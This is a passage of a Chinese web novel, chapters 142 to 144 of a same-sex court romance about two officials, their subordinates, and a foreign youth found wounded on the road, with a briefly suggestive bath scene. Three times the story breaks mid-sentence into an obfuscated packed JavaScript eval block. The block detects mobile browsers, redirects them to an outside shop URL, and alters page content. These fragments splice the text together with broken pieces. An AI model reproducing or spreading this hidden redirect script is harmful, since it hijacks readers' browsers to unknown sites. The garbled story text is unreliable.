他面不改色,干脆摆烂:“反正你赌什么,我就赌什么,你自己看着办。” 谢伟恒故作苦恼地轻轻皱了皱眉,语气却带着十足的笃定:“燕大人当真要我自己看着办?” 燕修延下巴微扬,一脸得意:“对,你自己看着办。” “好。” 谢伟恒眼中笑意骤然加深,眸光微闪。 燕修延心头猛地一跳,警铃大作。 不对,有诈。 不远处李想静静立在阴影之中,望着那对并肩而立、笑意融融的身影,脸色一点点阴沉下来,垂在身侧的手不自觉攥紧,指节泛白。 燕修延……你别太得意。 142. 被野狼盯上,甩不掉的那种 谢伟恒在燕修延耳边压低声音低语了几句。 燕修延抬手紧紧捂住耳朵,一双潋滟的眸子里盛满了惊惶与狐疑,脚步仓促地往后退了一步,指尖都微微发颤。 他抬眼瞪着眼前笑意深邃的人,耳根的红晕悄悄蔓延至脸颊,咬牙丢下一句:“你想都别想!” 随后快步往外走去。 谢伟恒望着他仓皇离去的背影,唇角勾起一抹宠溺又狡黠的笑,慢悠悠地抬腿跟上,步履从容。 来来往往的宫人瞧见两人纷纷垂首躬身行礼,待两道身影擦肩而过,彻底走远后,才敢悄悄抬起头,望着那并肩离去的背影窃窃私语。 有宫人眼尖,一眼瞥见燕修延红得快要滴血的耳朵,连脖颈都染上了淡粉。 偷偷用胳膊肘捣了捣身边的同伴,压低声音满眼促狭:“快看,谢大人又在调戏燕大人了。” 另一个宫人摆手纠正,语气里带着几分了然与笑意:“谢大人与燕大人是夫夫,这不叫调戏,这叫……叫调情!” 宫门外,谢小厮早已驾着马车等候多时,瞧见熟悉的衣袂走来,刚张口要喊:“夫……” 话音还卡在喉咙里,就见车帘被一只素白的手掀起又飞快落下,燕修延的身影利落钻了进去。 谢小厮眨了眨眼,第二个字刚要出口:“少……” 车帘再次掀起又轻轻放下,谢伟恒笑意吟吟地坐进了车里。 谢小厮挠了挠后脑勺,看着紧闭的马车帘,只觉得这画面格外熟悉,少爷又调戏夫人了? 他不再多想,抬手扬起马鞭,轻喝一声,马车平稳驶动,朝着谢府的方向缓缓而去。 车内空间不大,燕修延还未平复心绪,脸颊依旧泛着绯红。 谢伟恒侧身靠近,伸手便想将人揽入怀中 指尖刚触碰到燕修延的衣袖,就被对方灵敏地反手一挡、轻轻一弹。 燕修延用了几分巧劲,径直推开谢伟恒的手,还在他的手背留下一道浅浅的红印。 两人都没说话。 谢伟恒垂眸看着手背上的红痕,脸上笑意不减,眼神温柔得能滴出水来。 燕修延则别着头,面上绯红一片,眉眼间带着几分恼羞成怒,却又藏不住一丝慌乱。 平复了片刻,燕修延挪到谢伟恒对面的位置坐下,抬手指着他:“我就没见过你这种厚颜无耻之人!” 谢伟恒抬眸看他,语气温和缱绻,带着几分刻意的无辜:“我不过是想跟燕家哥哥亲近亲近罢了。” “你那也叫亲近?” 燕修延瞬间炸毛,耳尖更红,说话都变得结结巴巴:“谁家亲近是、是……叫人ziwei给你看的!” 谢伟恒眨了眨深邃的眼眸,一脸理所应当地回道:“哥哥说的,让我自己看着办,我不过是照做罢了。” 燕修延被他堵得哑口无言,只能狠狠瞪着他:“你……你这是强词夺理!” “是是是,我错了。” 谢伟恒从善如流,立刻低头认错,语气里满是纵容:“哥哥莫恼,别气坏了身子。” 燕修延冷哼一声,索性转过头,不再看他,目光落在窗外飞速掠过的街景上,可心跳却依旧飞快,怎么都平复不下来。 谢伟恒悄悄挪身坐到他身边,没有再说话,只是静静地凝望着他的侧脸,眼底的温柔几乎要将人包裹,满是珍视。 马车缓缓停在谢府门外。 谢小厮跳下马车,看着两人并肩携手走进府门的身影。 心道少爷哄人的本事,真是越来越厉害了。 回到房间,燕修延背着谢伟恒抬手解开官服的衣带,利落脱下一身规整的官服换上柔软舒适的常服。 一转身,抬眼便看见谢伟恒站在身后,身上穿的常服竟与自己的款式一模一样。 只是颜色略深几分,一看便是同一款式。 燕修延看着眼前的人,忍不住嘀咕了一句:“学人精。” 记不清从什么时候开始,两人新置办的衣物,全都是同一个样式。 最多只是在颜色、纹路细节上稍有不同。 每每出门,一眼便能看出是心意相通的夫夫。 谢伟恒走上前伸手自然地替燕修延理好衣襟,认真系好衣结:“穿衣打扮这些事,我本就不太懂,燕大人穿着好看,我便想着跟着穿,总归不会出错。” 这话听着顺耳,燕修延心里很受用,可脸上却丝毫不显,心里更是一个字都不信。 开玩笑,谢伟恒会不懂穿衣打扮? 成亲之前,他可是京城无数名门闺秀心中的第一良人,风姿卓绝、品味出众,多少女子放话非他不嫁。 再好的词汇用在他身上都毫不为过。 燕修延斜睨了他一眼,忽然想起一件事,随口问道:“说起来也奇怪,我记得以前,有好几家世家小姐都说过非你不嫁,可如今在街上偶遇,她们看着你我个个都笑得格外开心,这是为何?” 谢伟恒眸底笑意更深,沉声猜测:“或许,是觉得我与哥哥站在一起,般配养眼,她们看着心生欢喜罢了。” 燕修延挑了挑眉,姑且信了这个说法。 他自认与谢伟恒皆是容貌出众之人,一站在一起,便是京城独一份的俊男配俊男,着实惹眼。 他忽然想起,抬眼说道:“我明儿一早要去监察司,中午尽量赶回来陪你吃饭。” 谢伟恒点头应下,伸手揉了揉他的发顶,满眼不舍。 次日清晨。 燕修延一身利落装束,刚踏入监察司的院落,就看见温瑞倒挂在粗壮的槐树上,双手紧紧抱在胸口,脸颊气得涨成了紫青色,浑身都散发着浓浓的怨气。 树下,温泽、安清雅、白天铎、肖泽几人蹲成一圈,手里拿着细细的树枝,时不时轻轻戳一下倒挂着的温瑞,一副看热闹不嫌事大的模样。 “怎么了这是?谁又惹我们温瑞生气了?” 燕修延笑着走上前,随手从地上捡起一根树枝,也加入了戳戳的队伍。 轻轻戳了戳温瑞的腰:“气呼呼的,跟个河豚似的,来来来,我给你戳戳,放放气就好了。” 他捡树枝时未曾留意,枝桠末梢沾了一点鸟粪,偏偏温瑞听到声音气愤地扭头想要说话,嘴唇一张正好含住了那沾着鸟粪的地方。 “呸呸呸!恶心死了!” 温瑞瞬间炸毛,手脚并用麻利地从树上翻跳下来,一边疯狂擦着嘴,一边气呼呼地瞪着众人:“你们还有没有良心!能不能尊重一下正在生气的人?!” 温泽举了举手里的树枝,一脸无辜:“我们这不是在帮你放气嘛,怕你气坏了。” 安清雅轻笑一声,摊摊手:“你生气,我们陪着你哄着你,还不够尊重你啊?” 白天铎一脸直白,开口便是实话:“就是,你有什么不开心的,说出来让我们大家开心开心。” 肖泽连忙在一旁补了一句,帮白天铎圆场:“白天铎的意思是,我们帮你开解开解,免得你自己钻牛角尖。” 燕修延把玩着手里的树枝,挑眉看向温瑞:“赶紧说,到底怎么回事,不然我立马指派你出去出公差,让你没功夫生气。” 温瑞瞬间垮下脸,一脸受伤地捂着胸口,哀嚎道:“头儿,我才刚从外地回京啊!屁股还没坐热,你又要指派我出去干活,还有没有人性啊!” 白天铎挠了挠头,一脸疑惑地看向燕修延:“头儿,咱们司里近期貌似没有需要外出的公务吧?” 燕修延微微一笑,眼神扫过温瑞:“温瑞要是不肯说,那这公务不就有了。” 温瑞瞬间蔫了,耷拉着脑袋,满脸悲愤地哀嚎道:“我再也不轻易出远门了!辛辛苦苦在外办事,回来就发现,我那如花似玉的语秋妹妹,竟然被野男人拐走了!” 原本还满脸嬉笑的几人脸色瞬间一变,刚刚的散漫荡然无存,纷纷撸起袖子,眼神凶狠,语气愤然:“谁这么大的狗胆?敢欺负我们监察司的人!赶紧把他名字报出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646300|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们去教训他!” 温瑞咬牙切齿,眼底满是怒火,一字一顿道:“我听语秋亲口叫他南宫何遥,这狗东西,现在还天天黏在语秋身边,赶都赶不走!” “走!去教训这个不知天高地厚的狗东西!”众人一听,瞬间火气更盛,嚷嚷着就要往外冲。 南……宫? 这姓氏,似乎并非大虞国的本土姓氏,透着几分古怪。 燕修延连忙抬手想要拦住这群冲动的手下。 可众人此刻正气在头上,冲得极快压根没注意到他的动作。 无奈之下,燕修延只能快步跟了上去。 温瑞这张嘴向来爱添油加醋,说出来的话,十句有八句跟事情原貌对不上,可不能让他闹出事来。 一群人风风火火冲进街口的镖局。 刚进门,温泽就扯开嗓子大喝一声:“南宫何遥!赶紧给老子出来!今天就让你见识见识花儿为什么这样红!” 镖局里的伙计、镖师们全都被这阵仗吓了一跳,纷纷停下手里的活,呆呆地看着凶神恶煞冲进来的监察司众人,眼神里满是错愕。 随后,众人齐刷刷地转过头,看向一旁紧紧黏在朱语秋身边的高大男子。 那男子身形挺拔,眼窝深邃,鼻梁高挺,发丝带着几分自然的微卷,容貌轮廓与大虞人截然不同,周身气质冷冽,却唯独眼神寸步不离地落在朱语秋身上,满眼都是她。 朱语秋听到动静,扭头一看吓了一跳,连忙起身开口安抚:“温大哥、安姐姐、白……” 话没说完,她便看到了站在众人身后,脸色无奈的温瑞,朱语秋瞬间明白是怎么回事,连忙对着众人摆了摆手:“各位哥哥姐姐,千万别冲动,不管温瑞哥跟你们说了什么,都别全信,你们别忘了他是干什么的。” 温泽、安清雅等人齐刷刷地转头,目光灼灼地看向温瑞。 温瑞当即急得跳脚,大声大呼冤枉:“我冤枉啊!我什么时候说过假话?我跟你们说的哪次不是实话!” 朱语秋一点都不给温瑞留情面,直白戳破:“你还好意思说?保守估计,你说的话十次有八次都是添油加醋,夸大事实!” “我可是你哥!”温瑞气得脸都红了,瞪着朱语秋。 “那我还是你妹呢!”朱语秋毫不示弱,回瞪过去。 温瑞叉着腰,放狠话:“你别以为你是我妹妹,我就不舍得教训你!” 燕修延没理会兄妹俩的斗嘴,目光落在那名异域男子身上,沉声开口问道:“他就是南宫何遥?” 南宫何遥听到有人唤自己的名字,却依旧没有丝毫反应,眼神自始至终都没有离开过朱语秋,仿佛周遭的一切都与他无关,眼里心里唯独只有朱语秋一人。 燕修延见状,轻轻挠了挠眉尾,心里暗自了然:看来,朱语秋这是被一头痴情的野狼给盯上了,还是甩不掉的那种。 “巧了,我舍得。” 朱语秋看着还在气头上的温瑞,抬手一巴掌直接把凑过来的温瑞扇飞,随即笑着看向燕修延,开口解释:“没错,头儿您成亲之前,不是安排我去边关办差吗?我回来的时候在路边捡到了他,当时他身受重伤,进气少出气多,眼看就不行了我就顺手把他带回来了。” 温瑞一脸震惊地从地上爬起来,声音都激动得破了音:“你居然早就捡了个野男人回来,我居然被蒙在鼓里这么久!是不是有人帮你一起瞒着我?!” “你能不能别胡思乱想?” 朱语秋满脸无奈,耐心解释道:“我跟你说过的啊,捡到他的时候他伤得太重,我就把他安置在医馆养伤,一直没带你去看。” 正好温瑞前不久离京办事,南宫何遥的伤才彻底痊愈。 朱语秋便把他带在身边了。 温瑞却压根听不进去,双手死死捂着耳朵,拼命摇头,一脸崩溃地大喊:“我不听!我不听!我不听!肯定是这个狗男人教唆你这么说的,妹啊你清醒一点,你被坏男人骗了啊!” 143. 不辛苦,命苦! 朱语秋额角的青筋突突直跳,顺着太阳穴隐隐发胀,心头那点不耐瞬间翻涌上来。 她猛地抬手,攥紧腰间缠着的深棕色皮鞭,手腕骤然发力,鞭子在空中划出一道凌厉的弧线。 “啪”的一声脆响,狠狠砸在青石板地上,溅起细碎的尘土。 “哥你再娘们儿兮兮的试试?” 朱语秋柳眉倒竖,语气里带着几分恨铁不成钢的凌厉,眉眼间满是飒爽的火气。 身旁的南宫何遥缓缓抬眼,一字一顿地跟着开口:“试试。” 温瑞挨妹妹打是心甘情愿的,卷毛狗叫一下,他都能炸毛。 “我跟我妹妹说话,有你什么事?你这卷毛狗在这狗叫什么!” 温瑞撸起袖子,攥紧拳头就朝着南宫何遥脸上挥去。 他出手又快又急,带着满腔怒意,朱语秋心头一惊,想要阻拦已然来不及,只能眼睁睁看着那一拳结结实实砸在南宫何遥脸颊。 南宫何遥不避不让被打得偏过头,脸颊立刻浮现出清晰的拳印,迅速红肿起来,刺目得很。 “哥你干嘛!” 朱语秋手中皮鞭瞬间甩出,柔韧的鞭身如同灵蛇飞快缠住温瑞挥出的手臂,猛地发力拽住,死死拦住他想要打出第二拳的动作,语气又急又恼,“你别冲动!” 南宫何遥捂着脸垂下头,浓密的睫毛遮住眼底情绪,双手紧紧攥着衣摆,一声不吭,单薄的身子微微僵着,看着格外委屈。 燕修延将这一幕尽收眼底,他单手摩挲着下巴,目光落在南宫何遥低头隐忍的姿态上,眼底闪过一丝玩味,嘴角勾起一抹若有若无的笑意。 这副模样着实有些眼熟。 若是南宫何遥遇上谢伟恒,两人怕是格外聊得来,说不定还能凑在一起交流交流这般隐忍示弱的心得。 “温瑞。” 燕修延收回目光,他更在意的是南宫何遥这张极具异域特色的脸,以及他身上藏着的秘密。 他只是一个眼神,周身便散发出不怒自威的气场,瞬间压住了还想抬脚踹人的温瑞,让他硬生生顿住动作,满腔怒火憋在心里,不敢再轻易发作。 燕修延转头看向朱语秋,语气沉稳:“先换个地方。” 换了个地方,燕修延直接将看热闹的人、随从尽数轰走。 朱语秋刚落座,南宫何遥便亦步亦趋地跟上前,小心翼翼地坐到她的右手边,缓缓放下捂着脸的手,那处红肿的拳印愈发明显,看着让人心疼。 温瑞则气鼓鼓地坐在朱语秋左手边,双手抱胸,满脸不悦地瞪着南宫何遥,看着自家妹妹从怀中掏出伤药,轻柔地替那个卷毛狗擦脸,心里愈发不是滋味。 “拿个镜子让他自己擦就是了,又不是没长手。” 南宫何遥抿了抿略显苍白的唇,垂着眼,低声开口,语句依旧断断续续,带着生疏的涩感:“我可、以自、己擦。” “你手没轻没重的,别再碰伤处。” 朱语秋头也不抬,指尖沾着清凉的药膏,动作轻柔地在他红肿的脸颊上慢慢揉开,生怕弄疼他,一边耐心纠正他的发音,“断句不对,是我可以,自己擦。” 南宫何遥跟着她念了两遍,原本紧绷的眉眼渐渐舒展开,嘴角弯起浅浅的弧度,笑起来时眼尾微微上挑,透着几分纯粹的欢喜,一字一句清晰了些许:“我可以,自己擦。” “真聪明。” 朱语秋看着他乖巧的模样,忍不住弯眼笑了,语气里满是纵容。 燕修延将这一幕看在眼里,颇为同情地瞥了一眼对面的温瑞。 果不其然看到温瑞紧咬牙关,腮帮子绷得紧紧的,眼底满是憋屈,一副快要气炸的模样。 温瑞在温家一向宠妹无度,如今来了个分走妹妹注意力的人,往后在家中的地位,怕是还要再往下降一降。 待朱语秋替南宫何遥上好药,燕修延才开口,直奔主题:“他是什么来历?” 朱语秋收拾好药瓶,细细说起缘由,语气里带着几分怜惜。 她押镖回程时,为了赶时间抄了近道走山路,在山脚下发现了南宫何遥。 当时他浑身是伤,奄奄一息,只剩一口气了,朱语秋便给他喂了保命的丹药,先吊住他的性命。 沿途找了好几个大夫诊治,实在放心不下,就带回京城,安置在医馆里慢慢调养。 “他不会说我们大虞的话,我又从来没照料过小孩子,也不知道该怎么教他说话,光是弄清楚他的名字,就花了好几天功夫。他是疏勒国人。” 疏勒国…… 燕修延眸色微沉,心中已然明了。 前些年羯人强势发兵灭了疏勒国,联合周边几个小国,瓜分了疏勒的国土、百姓与各类资源,战乱之下,疏勒百姓流离失所,苦不堪言。 朱语秋伸手怜爱地摸了摸南宫何遥的卷发,声音柔了几分:“他之前成了羯人的俘虏受尽折磨,好不容易才逃出来,慌不择路,搞不清方向,阴差阳错就逃进了我们大虞境内。” 燕修延拿来一张空白的宣纸:“语秋,你慢慢问他,看看能不能把当初逃跑的路线画出来。” 朱语秋点点头转身面对南宫何遥,刻意放慢语速,一边说话一边用手比划着,耐心地将燕修延的意思复述了一遍,生怕他听不懂。 南宫何遥微微蹙眉,张了张嘴,努力组织着语言,双手也跟着笨拙地比划,语气急切又无奈:“我……画,不清,山里、山……” 朱语秋盯着他的动作,思索片刻,试探着问道:“你是想说,进山之前的路能画出来,可山里山峦叠嶂,路太复杂,你画不出山里的路线,对吗?” 南宫何遥眼前一亮,连忙用力点头,如释重负。 燕修延与温瑞对视一眼:这是怎么听懂的? 燕修延沉吟片刻,当即做了决定:“把他借我用用。” 山里的路线画不出来,可以让田靖先根据京城周边的地形图做出地景盘,再让南宫何遥试着指认路线,说不定日后能派上大用场。 朱语秋转头,将燕修延的话转述给南宫何遥。 南宫何遥伸手紧紧攥住朱语秋的衣摆,指尖微微泛白,像一只被主人遗弃的小狗。 眼底满是失落与不安,仰头看着她,声音哽咽,断断续续地问道:“你不、要我了、吗?” 温瑞本就看南宫何遥不顺眼,闻言立刻炸毛,跳着脚怒道:“对!就把你扔了!” 话刚说完,朱语秋抬脚就踩了他一下,温瑞顿时疼得嗷叫一声,满脸委屈。 朱语秋有些为难地看向燕修延,轻声商量:“头儿,他性子怕生,别人很难跟他交流,也照顾不好他,你若是需要他帮忙做事,提前说一声,我再带他去找你,行吗?” 燕修延看着南宫何遥依赖的模样,也不勉强,淡淡点头:“行。” 见燕修延应允,朱语秋立刻喜笑颜开,眉眼弯弯:“还是头儿好说话。” 温瑞瞬间不乐意了,指着自己满脸不可置信:“妹啊,你这话什么意思?合着就我不好说话是吧?” 朱语秋冲他调皮地吐了吐舌头,俏皮一笑:“就是这么个意思。” 南宫何遥看着两人互动,默默学着朱语秋的语气,磕磕巴巴地开口:“这、这么个,意思。” 温瑞气得火冒三丈,伸手指着南宫何遥的鼻子,怒声呵斥:“你这卷毛狗——” “哥哥~” 朱语秋立刻拉着温瑞的手臂,轻轻晃了晃,放软声音撒娇,眼底闪过一丝狡黠:“你再一口一个卷毛狗,我就告诉爹爹,你偷偷喝他藏了多年的好酒的事情~” 温瑞瞬间瞪大了眼睛,满脸震惊:“那酒你明明也跟着喝了!” 朱语秋眨了眨眼,一脸无辜:“那我就告诉娘,你带头带我喝酒,到时候娘肯定只罚你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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燕修延意味深长地看了身旁的南宫何遥一眼,转头对朱语秋,语气里带着几分不易察觉的提醒:“语秋,你辛苦了。” 朱语秋只当他说的是温瑞,满脸无奈地叹了口气,揉了揉眉心:“不辛苦,命苦,摊上这么个不着调的哥哥,天天让人操心。” 她伸手拍了拍南宫何遥的脑袋,眉眼温柔,“还好,老天给我送了个听话的弟弟,可惜不是亲弟弟。” 燕修延笑而不语,只是眼底深处掠过一丝了然。 南宫何遥看似柔弱乖巧,眼神深处却藏着不易察觉的锋芒,那副纯良的模样全都是对着朱语秋才有的表象。 他的真实年纪,怕是比朱语秋还要大,也绝不是什么任人拿捏的软茬,只是懂得在朱语秋面前藏起锋芒罢了。 “你在这等我一下。” 朱语秋叮嘱了南宫何遥一句,将他按在椅子上坐好,便起身追着温瑞跑了出去,想着去安慰一下快要气疯的哥哥。 南宫何遥下意识地起身,想要跟上去,却被燕修延伸手轻轻按在肩头,动弹不得。 他猛地抬头,原本柔和的眉眼瞬间褪去所有温顺,眼底寒光乍现,露出一双锐利如鹰的眼眸,冷冽的气场骤然散开,与之前乖巧的模样判若两人。 燕修延对上他冰冷的目光,脸上笑意不减,语气却沉了下来,带着不容置疑的威压,清晰地警告:“你是什么样的人,我心里有数。别跟我耍花样,若是你敢做出伤害语秋的事,我保证,你这条命永远都别想离开大虞。” 南宫何遥迎上燕修延审视的目光,周身的冷意渐渐收敛,他收回锋芒,眼神坚定,不再有半分生涩,一字一顿,说得清晰而郑重:“我不会。” 顿了顿,他目光坚定地看向门外朱语秋离开的方向,语气带着不容撼动的执着,“我在大虞,跟语秋过一辈子。” 燕修延看着他认真的模样,抬手轻轻拍了拍他的肩膀,语气淡漠,却带着十足的威慑:“你最好是。” 注: 朱语秋和温瑞是亲兄妹,不过朱语秋是跟母姓的 144. 被卖了还替人数钱呢! “说起来,那南宫何遥生得半点不像大虞人,高鼻深目,眉眼锋利,若非这般异域长相,我当真要怀疑他是你失散多年的兄弟。” 入夜暑气蒸腾,连窗棂外的蝉鸣都透着几分慵懒,屋内冰盆散着丝丝寒气,勉强压下几分燥热。 燕修延半倚在软榻上,扇柄轻敲掌心,慢悠悠同身旁的谢伟恒闲话白日里的见闻。 谢伟恒正俯身摆弄着案上冰盆里的毛巾,闻言抬眼,眼底漾着浅浅笑意:“哦?燕大人这般说,是何处与我相像?” “还能是何处。” 燕修延斜睨他一眼,指尖轻点自己唇角:“一张嘴油滑得很,再配上那似笑非笑的小表情,挑眉、垂眸、说话的腔调,简直跟你如出一辙,活脱脱一个模子刻出来的。” “既是如此,那我往后倒要多向他取取经。” 谢伟恒将浸在冰水里拧干的凉巾递到燕修延面前,素白的手指捏着巾角,凉意顺着空气漫过来:“好好学习如何整日黏着燕大人,还能不被燕大人嫌弃。” 冰凉的毛巾擦在脖子上,带来丝丝凉意瞬间驱散了脖颈间的燥热。 燕修延舒服得眯起眼,嗓音慵懒又散漫:“大热天的,谢大人还是别学了,这般黏人本事,学多了惹人烦。再说,我何时嫌弃过你?” 谢伟恒目光落在案上冰镇鲜果下垫着的冰块,眸底掠过一抹狡黠,语气温柔又带着勾人的蛊惑:“我刚想到一个能让你由内而外、通体清凉的法子,燕大人可要一试?” 燕修延随手拈起一块冰块丢进嘴里,冰碴在齿间碎裂,凉得他咂了咂舌:“你说的法子无非就是吃冰罢了,我早想到了。只是这东西性寒伤胃,远不如冰镇瓜果来得稳妥。” 谢伟恒神秘一笑,不置可否,伸手轻轻扶着燕修延的肩,力道温柔却不容推脱,将人缓缓推靠在软榻软垫上。 “燕大人只猜对了一半。” 有诈。 燕修延心头蓦地一跳,他可太熟悉谢伟恒这种笑,这种眼神,分明是不安分的前兆——谢伟恒又要打他老腰的主意! “另一半我不想知道!” 他猛地翻身滚到榻侧,利落的从软榻上滑下去,手脚并用地往外跑。 谢伟恒眼疾手快,长臂一伸径直揽住他的腰,轻轻一收便将人拉回怀中,下巴抵在他发顶,语气带着得逞的笑意:“看来燕大人,早已心知肚明了。” 燕修延挣了挣没挣脱,干脆反手抱住谢伟恒的胳膊,语气带着几分气急败坏的坚持:“你别想打那盘冰的主意,想都别想!” 床头暗格那块玉石已经够凉了,差不多得了,别得寸进尺! 见他这般坚持,谢伟恒故作遗憾地轻叹一声,顺着他的力道松了松手:“好吧,既然燕大人不愿,那便作罢。” 燕修延刚松了口气,胳膊还紧紧箍着他不放,就听耳畔又传来低沉的诱哄:“真的不再考虑考虑?” “不考虑!半点都不!” 燕修延收紧手臂,仰起头瞪他,眉眼凶巴巴的,却没半分威慑力:“再敢废话,我直接把你这条手臂捏碎!” 谢伟恒低笑出声,掌心轻轻拍着他的手背:“捏碎了手臂,反倒更能安心试了,燕大人是这个意思?” 燕修延一噎,顿时语塞,瞪着他半晌才憋出一句:“你就这般心心念念想试?” “本也没这般念想。” 谢伟恒眼底笑意更深,带着几分故意逗弄的狡黠:“可燕大人这般推三阻四,反倒勾得我非试不可了。” 燕修延彻底没了言语,没想到谢伟恒居然还长了一身反骨,越不让做的事,反倒越上心。 “起开起开,热得慌,满身黏腻,我要去沐浴降温。” 燕修延松开手,没好气地推开他,自顾自跳下软榻,拿起案边蒲扇使劲扇着,风拂过衣料,带来片刻清爽。 “腻歪也得挑天气,这般酷暑天,就该泡在冷水里,谁有功夫跟你黏糊。” 天热,洗澡水就在井水里加了一点点热水,温而不凉,泡起来十分舒服。 燕修延褪了外衫踏入浴桶,温水漫至胸口,他舒服地轻叹一声,闭目靠在桶沿,眉眼舒展,浑身紧绷的筋骨都松快下来。 不多时,身后传来衣料摩擦的轻响,紧接着“哗啦”一声水声。 浴桶里的水瞬间满溢出来,顺着桶沿滴滴答答淌在地面。 燕修延睁开眼,一脸无奈:“你自己明明有浴桶,偏要过来挤作甚。” 谢伟恒侧身环住他的腰,勾唇浅笑:“急什么,我那桶水一会自然有用处。” “一会?” 燕修延扯了扯嘴角,语气带着几分揶揄:“等你折腾完那桶水早凉透了,到时候看你怎么洗。” 话落,谢伟恒已然俯身,轻柔的吻由浅至深落在他唇上,带着淡淡的冰果清甜。 燕修延没有推拒只是半阖着眼,手臂慵懒地环上谢伟恒的肩头,嗓音含糊又散漫:“天热,身子沉,悠着点,别折腾过头。” 谢伟恒低声应下,唇畔笑意温柔:“好,都听燕大人的。” 燕修延刚放下心来,享受着耳畔温存的轻吻,忽然一阵刺骨凉意袭上,他浑身一个激灵睁开眼:“谢伟恒你——” 谢伟恒含住燕修延的唇,将他所有抗议都化作细碎的喘息,融在湿热的吻里。 冰块再次fangjin燕修延的**,谢伟恒的**在燕修延的**来回 …… (作者这里不细写了,当然细写审核员不会放过我,嘻嘻,读者们浅浅幻想一下吧) 待到另一桶水派上用途时,已是后半夜。 燕修延瘫在软榻上,连一根手指头都懒得挪动,心底把谢伟恒暗骂了千百遍。 冰块、冰镇鲜果,简直是暴殄天物! “我不跟你同床睡了。” 燕修延有气无力地抬手指着竹制躺椅:“你去把那躺椅搬出去,我今夜要在庭院里乘凉睡。” 谢伟恒也不反驳,从善如流地起身将躺椅搬到庭院通风处,还贴心地在四周摆上了五盘驱蚊香,线香点燃,青烟袅袅,散着淡淡的艾草香。 燕修延看着那一圈冒着烟的五个香炉,嘴角抽了抽,一脸无语:“谢伟恒,你这是打算把我当烟熏叫花鸡烤了?摆这么多香炉,熏都要被熏晕了。” 谢伟恒抬手一抓,摊开掌心,指尖捏着两只被捏死的蚊子,语气认真:“屋外蚊虫多,你向来最招蚊子,多燃些香方能安稳入睡。” 燕修延看着他掌心的蚊虫,又瞥了眼缭绕的青烟,终究是败下阵来,转身往屋内走:“算了算了,那我不出去睡了,还是屋里舒坦。” 其实他们睡的这间屋子本就背阴通风,再加上屋内冰盆未化,凉意阵阵,远比屋外惬意。 二人相拥而眠,一夜无梦,睡得格外安稳。 次日一早,燕修延听到一个有趣的消息。 礼部尚书辞官,陛下非但没有应允,反倒顺手直接赐了婚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646302|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为昨日陛下问及他辞官后生计着落,礼部尚书张口便答:“漠大人说臣花他的钱,他心甘情愿,乐意之至。” 然后陛下就龙颜大悦了,当即下旨赐婚,将他与吏部漠尚书赐作一对。 “陛下这婚赐得,也太过草率了。” 燕修延捧着茶盏,听得哈哈大笑,肩头都跟着轻颤,眼底满是看热闹的兴致。 礼部尚书蔫头耷脑地趴在案上,手指抓着空酒杯不停敲着桌面,满脸哀怨愁苦:“不让我辞官也就罢了还让我嫁人,这事儿我到现在都不敢跟我爹说。” 虽说他爹向来开明并不催他早日成婚,可他实在拿不准,自家父亲能否接受他嫁给一个男子。 不过,事情过去一天,他爹应该已经知道了。 “草率的哪里是陛下,分明是我啊!” 礼部尚书拍着桌子,一脸欲哭无泪,“我也没说要嫁给漠大人,陛下怎么就偏偏联想到赐婚上面去了呢?” 燕修延好整以暇地抿了口茶,笑着点拨:“你给陛下的回答,意思便是辞官之后漠大人养你。普天之下,非亲非故,这般供养不是成亲相守,又能是何意?” “供养怎就等同于成婚了?” 礼部尚书把杯子拍在桌子上,直起身道:“我亲大哥早前还说过,我若是哪天不想为官了,他也能养我一辈子,也没见要与我成亲!” 燕修延抬眼,指了指一旁沉默含笑的吏部漠尚书:“漠大人并非你的兄长,无骨肉亲情,他凭什么平白养你?” 礼部尚书一怔,转头怔怔看向身旁的漠大人,张了张嘴,一时语塞。 燕修延“好心”地提醒他:“昨日你自己亲口说的,辞官、相守、让漠大人养你。” 礼部尚书皱着眉苦思冥想,这话他昨天说的好顺口,压根没过脑子。 一定是忙昏了头,脑子管不住嘴了,如今追悔莫及。 “罢了罢了!” 礼部尚书一脸沉痛,伸手紧紧握住吏部尚书的手,眼眶都微微泛红,“漠大人,对不起是我把你拖下水了。你若是生气,尽管打我骂我出出气便是!” 燕修延在一旁看热闹不嫌事大,起哄打趣:“要打也得关起门,在床上慢慢打,这般才够情意绵绵。” 吏部尚书始终眉眼温和,反手轻轻握紧礼部尚书的手,笑着摇了摇头:“无妨,正巧家中长辈日日催婚,借着陛下赐婚的由头,也能给家人一个圆满交代,我反倒要多谢宁大人。” 这话一出,燕修延瞬间琢磨出深意,转头看向身旁的谢伟恒:这漠大人跟你是一卦的,都是揣着心思,顺水推舟罢了。 谢伟恒心领神会,不动声色地握住桌案下燕修延的手,指腹轻轻摩挲着他手腕内侧细腻的肌肤,指尖带着温热的触感,温柔缱绻。 “呜呜呜,漠大人你实在太好了!” 礼部尚书被这番话感动得一塌糊涂,眼泪都快要掉下来,只觉得自己拖累了对方,满心愧疚。 燕修延看在眼里,乐得心头发颤。 当真是典型的被人卖了,还在傻乎乎地帮着数钱。 